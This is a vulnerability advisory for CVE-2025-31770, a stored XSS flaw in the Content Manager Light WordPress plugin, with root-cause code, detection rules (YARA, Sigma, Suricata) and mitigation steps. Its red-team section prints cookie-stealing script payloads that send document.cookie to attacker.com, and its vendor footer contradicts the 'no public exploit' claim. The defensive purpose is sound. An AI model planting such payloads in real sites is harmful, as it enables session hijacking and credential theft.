CVE-2025-31770
Executive Summary
CVE-2025-31770 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin Content Manager Light by OTWthemes, affecting versions up to and including 3.2. The vulnerability arises from improper neutralization of user-supplied input during web page generation, allowing an authenticated attacker with contributor-level privileges or higher to inject arbitrary JavaScript into posts or pages. When an administrator or other user views the compromised content, the malicious script executes in their browser, potentially leading to session hijacking, credential theft, or further WordPress compromise. The CVSS score is 6.5 (Medium), and no public exploit or patch is currently available. This report provides a full technical breakdown, detection rules, and mitigation guidance.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository and third-party marketplaces. Since the plugin is unmaintained and no patch exists, any site using Content Manager Light is at risk. Organizations should treat this as a supply chain risk and consider removing the plugin entirely.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) – The vulnerability is exploitable remotely.
- Attack Complexity (AC): Low (L) – No special conditions are required.
- Privileges Required (PR): Low (L) – An attacker needs contributor-level access or higher.
- User Interaction (UI): Required (R) – The victim must view the malicious content.
- Scope (S): Changed (C) – The injected script can affect resources beyond the vulnerable component.
- Confidentiality (C): Low (L) – Limited data exposure possible.
- Integrity (I): Low (L) – Limited ability to modify content.
- Availability (A): Low (L) – Limited impact on availability.
CVSS Score: 6.5 (Medium)
Threat Level: Medium – Exploitation requires authentication but can lead to full WordPress compromise.
Deep Dive & Mechanics
The vulnerability exists in the content-manager-light plugin, which provides a custom content management interface. The plugin fails to sanitize or escape user-supplied input before storing it in the database and later rendering it in the WordPress admin or frontend. Specifically, fields such as custom meta boxes, shortcode attributes, or content fields are not properly neutralized.
Attack Flow:
- An attacker with contributor-level access logs into WordPress.
- The attacker creates or edits a post/page using the Content Manager Light interface.
- The attacker injects a malicious payload (e.g.,
<script>alert('XSS')</script>) into an unsanitized field. - The payload is stored in the WordPress database.
- When an administrator or other user views the affected post/page, the script executes in their browser.
- The attacker can then steal cookies, perform actions on behalf of the victim, or escalate privileges.
Root Cause: The plugin uses functions like echo $value or the_content() without applying esc_html(), wp_kses(), or similar sanitization functions.
Vulnerable vs. Patched Code
Since no official patch exists, the following is a hypothetical fix.
Vulnerable Code (PHP):
// In a template or shortcode handler
echo $custom_field_value; // No sanitization
Patched Code (PHP):
// Sanitize output
echo esc_html( $custom_field_value );
// Or use wp_kses for allowed HTML
echo wp_kses( $custom_field_value, array() );
Explanation: The vulnerable code directly outputs user-controlled data without escaping. The patched code uses esc_html() to convert special characters to HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- WordPress instance with Content Manager Light <= 3.2 installed.
- Contributor-level account credentials.
Steps:
- Log in to WordPress as a contributor.
- Navigate to a post/page editor that uses Content Manager Light fields.
- In a vulnerable field (e.g., a custom text box), inject:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Save the post/page.
- Wait for an administrator to view the post, or share the link with them.
- The administrator's browser executes the script, sending their cookies to the attacker's server.
Alternative Payload (Session Hijacking):
<script>new Image().src='https://attacker.com/steal?cookie='+document.cookie;</script>
Blue Team (Defensive)
Detection:
- Monitor for unusual JavaScript in post content or custom fields.
- Use Web Application Firewall (WAF) rules to block common XSS patterns.
- Implement Content Security Policy (CSP) headers to restrict script execution.
Hunting:
- Search the WordPress database for posts containing
<script>tags in custom fields. - Review server logs for requests to unknown external domains from admin users.
Mitigation:
- Remove or disable the Content Manager Light plugin immediately.
- If removal is not possible, apply a virtual patch via WAF to block XSS payloads.
- Restrict contributor-level access to trusted users only.
Indicators of Compromise (IOCs)
- File:
/wp-content/plugins/content-manager-light/(entire plugin directory) - Database: Posts or post meta containing
<script>tags in custom fields. - Network: Outbound HTTP requests to attacker-controlled domains from WordPress admin users.
- Logs:
POSTrequests to/wp-admin/post.phpor/wp-admin/admin-ajax.phpwith suspicious payloads.
Detection Engineering
YARA Rule
rule CVE_2025_31770_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Content Manager Light plugin"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-31770"
strings:
$xss1 = /<script[^>]*>.*<\/script>/i
$xss2 = /onerror\s*=\s*["']?[^"']*["']?/i
$xss3 = /onload\s*=\s*["']?[^"']*["']?/i
condition:
any of them
}
Sigma Rule
title: CVE-2025-31770 Stored XSS in Content Manager Light
id: 8a9b3c4d-5e6f-7a8b-9c0d-1e2f3a4b5c6d
status: experimental
description: Detects stored XSS attempts in WordPress Content Manager Light plugin
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
http.method: 'POST'
http.url: '/wp-admin/post.php'
http.body|contains:
- '<script>'
- 'onerror='
- 'onload='
condition: selection
falsepositives:
- Legitimate use of JavaScript in posts (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-31770 Stored XSS in Content Manager Light"; flow:to_server; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"<script>"; http_client_body; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate Action: Remove or disable the Content Manager Light plugin from all WordPress installations.
- Virtual Patching: If removal is not possible, deploy a WAF rule to block requests containing
<script>tags in post content. - User Access Control: Restrict contributor-level access to only trusted users and audit existing accounts.
- Monitoring: Enable logging for all post creation/editing actions and review for suspicious content.
- Long-term: Replace the plugin with an actively maintained alternative that properly sanitizes input.
Valters IT – DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.